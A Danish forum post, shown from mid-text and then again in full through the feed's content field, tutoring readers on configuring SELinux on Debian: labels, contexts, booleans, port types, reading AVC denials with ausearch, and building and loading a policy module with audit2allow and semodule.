type=AVC msg=audit(14-12-2014 01:29:13.418:33) : avc:  denied  { search } for  pid=3433 comm=exim4 name=crypto dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
root@selinux:/usr/bin#</blockquote>
<br />
Bemærk at tidsstemplingen nu er til at læse.<br />
Nogle gange, kan man være nød til at rette eksisterende policies, men det anbefales at rapportere disse fejl til distributøren af pakken, så det kan blive rettet.<br />
Måske skal man lave en policy til et program, man selv har lavet, og dette kan gøres med audit2allow, som kommer i policycoreutils pakken.<br />
Man kan skrive sin policy i hånden, eller man kan vælge at tage de deny AVCs fra audit.log, og lade audit2allow lave en allow policy for dig.<br />
Reelt set, kan man pipe indholdet fra /var/log/audit/audit.log direkte ind i audit2allow, men der er en god chance for, den policy man får ud i den anden ende, tillader lidt for meget.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#audit2allow &lt; /var/log/audit/audit.log</blockquote>
<br />
Ovenstående må anses som at være aller sidste udvej.<br />
<br />
Man kan f.eks. udstede følgende kommando, som laver en Type Enforcementrule, ud fra deny AVCs fra de sidste 5 minutter, der tillader denne handling:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#ausearch -i -m AVC -sv no -ts recent | audit2allow</blockquote>
<br />
Får man ikke hvad man forventer, skal man være opmærksom på, meddelelserne kan være mere end 5 minutter gamle. Se man eller info page for ausearch. De kan rigtig mange ting.<br />
Her er et par søgninger:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ausearch -i -m AVC -sv no | grep exim4 | audit2allow<br />
<br />
<br />
#============= exim_t ==============<br />
allow exim_t sysctl_crypto_t:dir search;<br />
root@selinux:~# ausearch -i -m AVC -sv no -se exim_t | audit2allow<br />
<br />
<br />
#============= exim_t ==============<br />
allow exim_t sysctl_crypto_t:dir search;<br />
root@selinux:~#</blockquote>
<br />
Lad os prøve at lave en ny policy. Vær dog opmærksom på, du kan risikere at overskrive en eksisterende policy, hvis du vælger samme navn.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ausearch -i -m AVC -sv no -se exim_t | audit2allow -m ny-exim &gt; ny-exim.te<br />
root@selinux:~# cat ny-exim.te<br />
<br />
module ny-exim 1.0;<br />
<br />
require {<br />
        type sysctl_crypto_t;<br />
        type exim_t;<br />
        class dir search;<br />
}<br />
<br />
#============= exim_t ==============<br />
allow exim_t sysctl_crypto_t:dir search;<br />
root@selinux:~#</blockquote>
<br />
Så har vi dannet en ny policy. Denne skal så "kompileres, linkes og loades", før den virker.<br />
Bemærk versionsnummeret i den. Denne er dannet med version 1.0, og det anbefales at ændre denne, hver gang, denne policy ændres.<br />
Det gør det i hvert fald nemmere at holde hånd i hanke med, hvilken policy, der er den nyeste og formegntlig, den der er loaded ind i linux kernen.<br />
<br />
Det næste trin er at danne en .mod fil og dette gøres med følgende kommando:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# checkmodule -M -m -o ny-exim.mod ny-exim.te<br />
checkmodule:  loading policy configuration from ny-exim.te<br />
checkmodule:  policy configuration loaded<br />
checkmodule:  writing binary representation (version 14) to ny-exim.mod<br />
root@selinux:~# ls -lZ ny*<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 923 dec 14 02:08 ny-exim.mod<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 169 dec 14 02:03 ny-exim.te<br />
root@selinux:~#</blockquote>
<br />
Så skal vi have lavet en policy module package fra det binære policy modul. Der efter loades vores nye package ind i linux kernen, hvor SELinux lever:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semodule_package -o ny-exim.pp -m ny-exim.mod<br />
root@selinux:~# ls -lZ ny*<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 923 dec 14 02:08 ny-exim.mod<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 939 dec 14 02:13 ny-exim.pp<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 169 dec 14 02:03 ny-exim.te<br />
root@selinux:~# semodule --install ny-exim.pp<br />
root@selinux:~#</blockquote>
<br />
Det tager lidt tid at loade modulet, men det er normalt. Jeg har ladet mig fortælle, der kan gå lidt tid, før modulet rent faktisk bliver aktivt.<br />
Lad os prøve at tømme audit.log og genstarte exim4. Hvis vi ikke får nogen AVCer, lader det til, vores nylavede policy virker:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# service exim4 stop<br />
[ ok ] Stopping MTA: exim4_listener.<br />
root@selinux:~# rm /var/log/audit/audit.log<br />
root@selinux:~# touch /var/log/audit/audit.log	// Måske skal man efter denne kommando, lave en restorecon /var/log/audit/audit.log<br />
root@selinux:~# service exim4 start<br />
[ ok ] Starting MTA: exim4.<br />
root@selinux:~# cat /var/log/audit/audit.log<br />
root@selinux:~#</blockquote>
<br />
Virker den policy man har lavet, ikke efter hensigten, kan den unloades med samme kommando, som den blev loaded med, bare med --remove i stedet for --install.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semodule --remove ny-exim.pp<br />
root@selinux:~# </blockquote>
<br />
Når man tester sin SELinux installation, og arbejdet med nogle problemer, har man den mulighed, at sætte hele sytemet i Permissive mode.<br />
Så kan man debugge, ved at se i /var/log/audit.log, men slippe for, at systemet ikke virker.<br />
Hvis man vælger at gøre dette, skal man selvfølgelig være opmærksom på, man har fravalgt SELinux beskyttelsen for hele systemet, og det kan potentielt, efterlade systemet åbent, mens du arbejder.<br />
En anden og måske bedre måde, er at sætte Permissive mode på den enkelte process, i stedet for hele systemet.<br />
Så har resten af systemet sikkerheden fra SELinux, mens man frit kan arbejde med den process, der giver problemer.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage permissive -a exim_t	// Tillader at exim4 kører permissive, selv om resten af systemet kører enforced.<br />
#semanage permissive -d exim_t	// Fjerner tilladelsen, så exim4 ikke længere må bryde sin policy.<br />
#semanage permissive -l		// Lister de tilladelser der er givet, til at køre permissive.</blockquote>
<br />
Jeg skal dog sige, jeg ikke kan få ovenstående til at virke lige nu.<br />
<br />
For at få adgang til filer og andet, skal man selvfølgelig også have adgang via DACs RWX.<br />
Der er rigtig meget læsestof i man og info pages.<br />
SELinux er en god og nem måde at gøre en maskine lidt mere sikker på, og det brude faktisk ikke være opt-in, men opt-out, efter min mening.<br />
Jeg vil dog ikke anbefale, at installere det på din legeplads. Og vær opmærksom på, det reelt er en chance for, du får lukket dig selv ude.<br />
SELinux til Debian er efterhånden rimelig godt med. Der kan dog stadig være nogle udfordringer med nogle display managere, som skal have finpudset deres policies.<br />
En anden ting man skal være opmærksom på er, at kommandoer udføres langsomt. Der er en del overhead, når man gør noget, hvor adgangen skal kontrolleres.<br />
Det påvirker ikke daemons det store. De bliver et ekstra sekund på at starte, men når de først kører, burde man ikke mærke noget til det.<br />
<br />
<a href="https://github.com/TresysTechnology/refpolicy/wiki" target="_blank" rel="noopener" class="mycode_url">https://github.com/TresysTechnology/refpolicy/wiki</a><br />
<a href="https://wiki.debian.org/SELinux/Setup?highlight=%28%28SELinux%7CSetup%29%29" target="_blank" rel="noopener" class="mycode_url">https://wiki.debian.org/SELinux/Setup?hi...etup%29%29</a>]]></description>
			<content:encoded><![CDATA[Under SELinux, køres systemet med MAC, Mandatory Access Control, hvor man uden SELinux kører Discresionary Acces Control.<br />
Kort fortalt er DAC, de typiske Read, Write og Execute permissions, man kan sætte for root, brugere og "other".<br />
Der er selvfølgelig untagelse, hvis man f.eks. kører med ACLs, som man også kan i Linux.<br />
MAC tilbyder et miljø, der default har Deny på alt, og alt der skal kunne tilgå noget, skal have en Allow policy.<br />
<br />
Der findes følgende fire forskellige måder at køre SELinux på:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>Selinux 4 access control forms:<br />
- Targeted Enforcement (TE)<br />
- Strict - (TE bare mere strict)<br />
- Role Based Access Control (RBAC)<br />
- Multi-Level Access (MLS)</blockquote>
MCS er en Multi Category System og er en overbygning på MLS. Denne intro til SELinux dækker kun TE, selv om kommandoerne sådan set, er de samme.<br />
<br />
SELinux er bygget op omkring Labels. Alt får en label, og denne fortæller, hvad der tillades.<br />
<br />
Hvis man vil undersøge, hvilken label en fil har, kan man ikke bruge ls -l, som ellers sidder i fingrene hos de fleste:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ls -l<br />
totalt 4<br />
-rw-r--r--. 1 root root 11 dec 13 22:42 text.txt<br />
root@selinux:~#</blockquote>
<br />
Man kan dog se, der er kommet et punktun efter "-rw-r--r--", altså "-rw-r--r--.", og dette viser, filerne på dette system, har fået labels.<br />
Det er her, man ville se et +, hvis systemet kørte med Access Lists.<br />
Vi er så heldige, at tegnet Z, ikke bruges i så forfærdelig mange kommandoer på linux, og derfor bliver dette brugt til at vise labels med i SELinux.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ls -Z<br />
unconfined_u:object_r:user_home_t:SystemLow text.txt<br />
root@selinux:~# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:~#</blockquote>
<br />
Får du ikke dette output, kan du kontrollere at SELinux kører med:<br />
root@selinux:~# check-selinux-installation<br />
/etc/pam.d/login is not SELinux enabled<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# sestatus<br />
SELinux status:                 enabled<br />
SELinuxfs mount:                /sys/fs/selinux<br />
SELinux root directory:         /etc/selinux<br />
Loaded policy name:             default<br />
Current mode:                   enforcing<br />
Mode from config file:          enforcing<br />
Policy MLS status:              enabled<br />
Policy deny_unknown status:     denied<br />
Max kernel policy version:      26<br />
root@selinux:~#</blockquote>
<br />
Hvis du ikke har behov for al informationen, som ovenstående kommando giver, kan man nøjes med at bruge "getenforce":<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# getenforce<br />
Enforcing<br />
root@selinux:~#</blockquote>
<br />
Denne viser dog ikke, om SELinux vil køre, efter en reboot.<br />
<br />
Alt har labels, når man har aktiveret SELinux. Både filer, sockets, processes, brugere osv.<br />
Her er et eksempel på hvordan root ser ud lige nu:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# id -Z<br />
unconfined_u:unconfined_r:unconfined_t:SystemLow-SystemHigh<br />
root@selinux:~# id<br />
uid=0(root) gid=0(root) grupper=0(root) kontekst=unconfined_u:unconfined_r:unconfined_t:SystemLow-SystemHigh<br />
root@selinux:~#</blockquote>
<br />
Her er den kørende Apache2 process:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ps -efZ |grep apache<br />
system_u:system_r:httpd_t:s0    root      2184     1  0 21:54 ?        00:00:00 /usr/sbin/apache2 -k start<br />
system_u:system_r:httpd_t:s0    www-data  2187  2184  0 21:54 ?        00:00:00 /usr/sbin/apache2 -k start<br />
system_u:system_r:httpd_t:s0    www-data  2188  2184  0 21:54 ?        00:00:00 /usr/sbin/apache2 -k start<br />
system_u:system_r:httpd_t:s0    www-data  2189  2184  0 21:54 ?        00:00:00 /usr/sbin/apache2 -k start<br />
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 2720 2597  0 22:51 pts/0 00:00:00 grep apache<br />
root@selinux:~#</blockquote>
<br />
Brugere i SELinux er dog ikke det samme som, den bruger man logger ind med. Flere linux brugere, kan være under samme SELinux bruger. Lidt som en gruppe af brugere, deler nogle rettigheder.<br />
En Process kaldes i SELinux for et "subject", og filer, directories, FIFOs, sockets osv., er "objects". Så subjects arbejder på objects, når man benytter SELinux.<br />
En label er i "context", når de er assosieret med en fil, og i et "domain", hvis en label er assosieret med en process.<br />
Hvis vi ønsker at se, hvilke SELinux brugere og roller, der er configureret, kan vi gøre det med semanage:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semanage user -l<br />
<br />
                Labeling   MLS/       MLS/<br />
SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles<br />
<br />
root            sysadm     SystemLow  SystemLow-SystemHigh           staff_r sysadm_r system_r<br />
staff_u         staff      SystemLow  SystemLow-SystemHigh           staff_r sysadm_r<br />
sysadm_u        sysadm     SystemLow  SystemLow-SystemHigh           sysadm_r<br />
system_u        user       SystemLow  SystemLow-SystemHigh           system_r<br />
unconfined_u    unconfined SystemLow  SystemLow-SystemHigh           system_r unconfined_r<br />
user_u          user       SystemLow  SystemLow                      user_r<br />
root@selinux:~#</blockquote>
<br />
Hvis man ønsker at tildele en bruger, en bestemt rolle, kan det gøres således:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semanage login -a -s staff_u mian<br />
root@selinux:~# </blockquote>
<br />
Som vi kan se fra ovensstående eksempl med apache2, er en label delt op i flere dele: user:role:type:level.<br />
Hvis det ser lidt underligt ud, at apache2 både kører som root og www-data, er det fordi, Apache2 virker sådan.<br />
Apache2 starter som root, så det kan læse certifikater osv., når den starter, den degraderer så sine egne rettigheder til www-data brugeren, og kører med den.<br />
Apache2 har følgende label: system_u:system_r:httpd_t:s0.<br />
System_u = user, system_r = role, httpd_t = type og s0 er adgangsniveauet.<br />
Adgangsniveauet bruges ikke sønderligt i SELinux, når man kører Targeted Enforcement (TE), men er en form for adgangsniveau opdeling, f.eks. s0-s15 hvor S0 kunne svare til Public Information og S15 kunne være Top Secret.<br />
Nogle ses som C0-c1023.<br />
<br />
Her er et andet eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ls -lZ /etc/resolv.conf<br />
-rw-r--r--. 1 root root system_u:object_r:net_conf_t:SystemLow 38 dec 13 22:47 /etc/resolv.conf<br />
root@selinux:~#</blockquote>
<br />
Kører man Permissive eller Enforcing SELinux bør alt have en label, og det er ufarligt at skifte mellem disse to modes.<br />
Man skal dog passe på med at gå direkte fra at have SELinux Disabled, til Enforced, for så er det ikke sikkert, alle labels er på plads og korrekte.<br />
Der er flere måder at få sat labels på alt, på:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#fixfiles relabel	// Gør dette på et kørende system<br />
#touch /.autorelabel	// Findes "/.autorelabel" filen, bliver der dannet labels ved reboot.<br />
#fixfiles onboot	// Denne schedulerer en relabel ved næste reboot. Effektivt det samme som at danne en /.autorelabel fil.</blockquote>
<br />
Hvis man vil ekskludere nogle filer fra at blive relabeled af fixfiles, kan disse angives i "/etc/selinux/fixfiles_exclude_dirs". Det er ikke sikkert, filen findes på forhånd.<br />
<br />
Brugerfiler og bruger processes, vil ofte være labeled unconfinded_u, hvor systemfiler og system processes, ofte vil have system_u i stedet. Det kan også være user_u.<br />
Hvis noget kører uden en targeted policy, vil det formegentlig køre unconfined_u.<br />
<br />
De fleste distributioner har haft SELinux i mange år, og nogle kommer faktisk i dag, med en Permissive SELinux.<br />
Det betyder også at når man installerer pakker, så får man, til lagt de fleste, færdiglavede policies med, og skal ikke tænke på at lave dem selv.<br />
Lige det, hjælper ikke udviklere, som laver deres egne programmer, compiler et program fra source, eller bruger en tar ball.<br />
Hvordan sætter vi så disse labels? Det er der flere svar på. Jeg vil starte med et typisk pitfall, før vi dykker ned i detaljerne.<br />
SELinux labels flytter på samme måde som DAC permissions gør.<br />
<br />
Når man opretter en ny fil, arver sin context fra det directory, den ligger i.<br />
Flytter man en fil, vil filens context flytte med. Så man skal være varsom, hvis man flytter filer fra en context til en anden.<br />
Hvis man kopierer en fil, og destinationsfilen allerede eksisterer, vil den nye fil, overtage den gamle fils label. Altså hvis man kopierer ovenpå den eksisterende.<br />
Kopierer man en fil, og den ikke allerede findes, der hvor den kopieres hen, svarer det til en ny fil, og filen vil arve sin context, fra det directory, filen kommer til at ligge i, efter kopieringen.<br />
<br />
Hvis man f.eks. selv har compilet nmap, som har brug for lidt flere rettigheder, end de andre filer man har i /usr/bin/, vil nmap arve sin context, eller få en label, ud fra, den context, /usr/bin mappen har.<br />
Det kan man formegntlig ikke få nmap til at køre med, og det kan vi ændre på flere forskellige måder.<br />
Vi kan bruge "chcon", som står for Change Context, eller vi kan bruge "semanage". Nedenstående to kommandoer gør det samme:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#chcon --type traceroute_exec_t /usr/bin/nmap			// Change Context type traceroute_exec_t for /usr/bin/nmap<br />
#semanage fcontext -a -t traceroute_exec_t /usr/bin/nmap	// Add filecontext type traceroute_exec_t for /usr/bin/nmap</blockquote>
<br />
Bemærk at _t i traceroute_exec_t står for type, så derfor bruger vi -t for type, eller --type.<br />
<br />
Får man ændret noget, man ikke ville have ændret, kan man bruge "restorecon" til at restore den originale context for den fil, man har ændret:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#restorecon /usr/bin/nmap</blockquote>
<br />
Man kan selvfølgelig også bruge chcon og restorecon rekursivt, hvis det er nødvendigt. Det kan være brugbart, hvis man f.eks. har fået rodet for meget i /var/www.<br />
Så kan man rekursivt genskabe sin context med kommandoen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#restorecon -R /var/www</blockquote>
<br />
Her er et eksempel på, hvordan en fil ændres fra type user_home_t til etc_t, og herefter tilbage:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:~# chcon --type etc_t ./text.txt<br />
root@selinux:~# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:etc_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:~# restorecon ./text.txt<br />
root@selinux:~# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:~#</blockquote>
<br />
Hvis man har lavet en ny fil der hedder foo.html, kan man sætte dens context, ved at henvise til det directory, filen ligger i.<br />
Den er meget tilsvarende de andre metoder:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#chcon --reference /var/www/html /var/www/html/foo.html</blockquote>
<br />
OBS: chcon er i deb pakken coreutils og semanage er i policycoreutils. Man kan også kaste et blik på man eller info page for genhomedircon og setfiles kommandoerne.<br />
<br />
Hvis man ønsker at bruge sin home folder, til webindhold, som man ofte gør, hvis man bruger vhosts til hjemmesider, kan man sætte disse filer til typen httpd_sys_content_t.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage fcontext -a -t httpd_sys_content_t "/home/bob/html(/.*)?"	// Bemærk at i en shell, vil udsagn i gåseøjne, bliver fortolket.</blockquote>
<br />
Det kan også være man ønsker at have nogle CGIs tilgængelig, for at skabe noget dynamisk indhold:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage fcontext -a -t httpd_sys_script_exec_t "/home/bob/html/cgi-bin(/.*)?"</blockquote>
<br />
En ting man støder på, hvis man f.eks. flytter sine html filer til sit home dir, er at webserveren vil blive nægtet adgang.<br />
Dette skyldes af apache2 kører i en anden context end din home folder:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/var/www# ls -lZ<br />
totalt 4<br />
-rw-r--r--. 1 root root system_u:object_r:httpd_sys_content_t:SystemLow 177 dec 13 20:00 index.html<br />
root@selinux:/var/www# ls -lZ /root<br />
totalt 4<br />
-rw-r--r--. 1 root root unconfined_u:object_r:user_home_t:SystemLow 11 dec 13 22:42 text.txt<br />
root@selinux:/var/www#</blockquote>
<br />
En home folder har en helt anden label. typen er user_home_t, hvor den i /var/www/ er httpd_sys_content_t.<br />
For ikke at ødelægge det for meget for sig selv, kan man med fordel benytte sig af SELinux booleans.<br />
Det er en form for shortcuts, som enten kan være slået til eller fra. Eller det var engang, og det lader vi som om, det stadig er.<br />
For at give apache2 adgang til sit hjemmedrev, kan man sætte en boolean som hedder httpd_enable_homedirs.<br />
Dette kan, som det meste andet, gøres på flere måder. Nedenstående kommandoer gør det samme:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage boolean -m --on httpd_enable_homedirs<br />
#setsebool httpd_enable_homedirs on 	// Sættes til off ved næste reboot.<br />
#setsebool -P httpd_enable_homedirs on 	// Permanent sat til on</blockquote>
<br />
Som man kan se her under, fortæller de ikke noget, når det går godt.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# setsebool -P httpd_enable_homedirs on<br />
root@selinux:~# setsebool -P httpd_enable_homedirs off<br />
root@selinux:~# echo &#36;?<br />
0<br />
root@selinux:~#</blockquote>
<br />
Der er rigtig mange af disse booleans, og disse kan ses med semanage, eller getsebool kommandoerne. Hvis man f.eks. ønsker at tillade CGI, kan man tilføle en "grep" sammen med kommandoerne.<br />
Her er et par eksempler med de to kommandoer. Man kan se, de har forskelligt output:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/var/www# getsebool -a |grep cgi<br />
httpd_enable_cgi --&gt; off<br />
root@selinux:/var/www# semanage boolean -l |grep cgi<br />
httpd_enable_cgi               (off  ,  off)  httpd_enable_cgi<br />
root@selinux:/var/www#</blockquote>
<br />
For at få en idé om, hvilke booleans der er, er det bare at køre en af ovenstående kommandoer, uden at smide det i gennem grep.<br />
<br />
OBS: setsebool og getsebool er i pakken policycoreutils, lige som semanage.<br />
<br />
En anden ting man sikkert vil støde på, er at apache2 kun må lytte på port 80 og 443. Det er godt hvis det er en prod server, alle kan tilgå fra Inetnettet.<br />
Hvis det f.eks. lykkes en hacker at uploade netcat og er han nød til at sætte den til at lytte på en anden port end 80 eller 443, da apache bruger disse to.<br />
Så vil det ikke være muligt for Apache2s address space, at lytte på andre porte. Men det kan være, man ønsker at køre software som webmin eller lign., som normalt lytter på tcp port 10000.<br />
Så er man nød til at ændre http_port_t, så apache2 får lov til at lytte på den ønskede port.<br />
Dette kan også gøres med semanage, med følgende kommando:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>#semanage port -a -t http_port_t -p tcp 10000</blockquote>
<br />
Ønsker man at se, de porte der er registreret i SELinux, kan man gøre det med kommandoen semanage. Der er en hel del, da det svarer meget til /etc/hosts.<br />
Her kan vi se, hvilke porte der er tilknyttet ftp:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# semanage port -l |grep ftp<br />
ftp_data_port_t                tcp      20<br />
ftp_port_t                     tcp      21, 990<br />
ftp_port_t                     udp      990<br />
tftp_port_t                    udp      69<br />
root@selinux:~#</blockquote>
<br />
Hvad gør man så, når det ikke virker? Hvis man har installeret auditd pakken, vil der komme meddelelser i /var/log/audit/audit.log, og det vil jeg bestemt anbefale.<br />
Ellers må man undersloge /var/log/messages for output.<br />
Outputtet er lidt finurligt, og tidsstemplingen er i et forunderligt format.<br />
For at få noget at se på, har jeg started exim op igen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/usr/bin# service exim4 start<br />
[ ok ] Starting MTA: exim4.<br />
root@selinux:/usr/bin# tail /var/log/audit/audit.log<br />
type=AVC msg=audit(1418516379.429:29): avc:  denied  { read write } for  pid=3148 comm="hostname" path="socket:[6167]" dev=sockfs ino=6167 scontext=system_u:system_r:hostname_t:s0-s0:c0.c1023 tcontext=system_u:system_r:dhcpc_t:s0-s0:c0.c1023 tclass=udp_socket<br />
type=SYSCALL msg=audit(1418516379.429:29): arch=c000003e syscall=59 success=yes exit=0 a0=262adc8 a1=262aea8 a2=260cc08 a3=0 items=0 ppid=3146 pid=3148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="hostname" exe="/bin/hostname" subj=system_u:system_r:hostname_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(1418516952.974:30): avc:  denied  { search } for  pid=3417 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=SYSCALL msg=audit(1418516952.974:30): arch=c000003e syscall=2 success=no exit=-13 a0=7f5453269b10 a1=0 a2=1b6 a3=0 items=0 ppid=3416 pid=3417 auid=0 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=pts0 ses=1 comm="exim4" exe="/usr/sbin/exim4" subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(1418516953.118:31): avc:  denied  { search } for  pid=3422 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=SYSCALL msg=audit(1418516953.118:31): arch=c000003e syscall=2 success=no exit=-13 a0=7fbf62c29b10 a1=0 a2=1b6 a3=0 items=0 ppid=3421 pid=3422 auid=0 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=pts0 ses=1 comm="exim4" exe="/usr/sbin/exim4" subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(1418516953.282:32): avc:  denied  { search } for  pid=3425 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=SYSCALL msg=audit(1418516953.282:32): arch=c000003e syscall=2 success=no exit=-13 a0=7f0710c0ab10 a1=0 a2=1b6 a3=0 items=0 ppid=3424 pid=3425 auid=0 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=pts0 ses=1 comm="exim4" exe="/usr/sbin/exim4" subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
type=AVC msg=audit(1418516953.418:33): avc:  denied  { search } for  pid=3433 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=SYSCALL msg=audit(1418516953.418:33): arch=c000003e syscall=2 success=no exit=-13 a0=7ff878797b10 a1=0 a2=1b6 a3=0 items=0 ppid=3431 pid=3433 auid=0 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=(none) ses=1 comm="exim4" exe="/usr/sbin/exim4" subj=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 key=(null)<br />
root@selinux:/usr/bin#</blockquote>
<br />
For at skille, hvad der er gået godt, og hvad der ikke er, kan man med fordel bruge grep. En ting man kan søge på, er "denied", en anden ting er AVC.<br />
Når der i SELinux opstår en access violation, altså når en policy ikke er blevet overholdt, kommer der en AVC (Access Vector Cache) besked.<br />
Denne kan man greppe efter:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/usr/bin# tail /var/log/audit/audit.log |grep AVC<br />
type=AVC msg=audit(1418516379.429:29): avc:  denied  { read write } for  pid=3148 comm="hostname" path="socket:[6167]" dev=sockfs ino=6167 scontext=system_u:system_r:hostname_t:s0-s0:c0.c1023 tcontext=system_u:system_r:dhcpc_t:s0-s0:c0.c1023 tclass=udp_socket<br />
type=AVC msg=audit(1418516952.974:30): avc:  denied  { search } for  pid=3417 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=AVC msg=audit(1418516953.118:31): avc:  denied  { search } for  pid=3422 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=AVC msg=audit(1418516953.282:32): avc:  denied  { search } for  pid=3425 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
type=AVC msg=audit(1418516953.418:33): avc:  denied  { search } for  pid=3433 comm="exim4" name="crypto" dev=proc ino=11291 scontext=unconfined_u:system_r:exim_t:s0-s0:c0.c1023 tcontext=system_u:object_r:sysctl_crypto_t:s0 tclass=dir<br />
root@selinux:/usr/bin#</blockquote>
<br />
En bedre måde at søge efter disse fejl på, er at bruge en af de gode linux audit værktøjer, der kommer prepacked fra distributøren.<br />
Et af dem er ausearch, som er bygget til at søge i daemon logs.<br />
<br />
OBS: ausearch er i pakken auditd, som også giver /var/log/audit/audit.log filen.<br />
<br />
Her kan vi se, hvordan de samme beskeder fra exim4 processen er opstillet gennem ausearch. Dette er en søgning på AVC beskeder som ikke er gået godt:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/usr/bin# ausearch -i -m AVC,USER_AVC -sv no<br />
----<br />
type=SYSCALL msg=audit(13-12-2014 21:55:00.491:10) : arch=x86_64 syscall=bind success=no exit=-13(Adgang nÃ¦gtet) a0=7 a1=7feb2dbfd260 a2=6e a3=7feb2b47714c items=0 ppid=1 pid=2446 auid=unset uid=postgres gid=postgres euid=postgres suid=postgres fsuid=postgres egid=postgres sgid=postgres fsgid=postgres tty=(none) ses=4294967295 comm=postgres exe=/usr/lib/postgresql/9.1/bin/postgres subj=system_u:system_r:postgresql_t:s0 key=(null)<br />
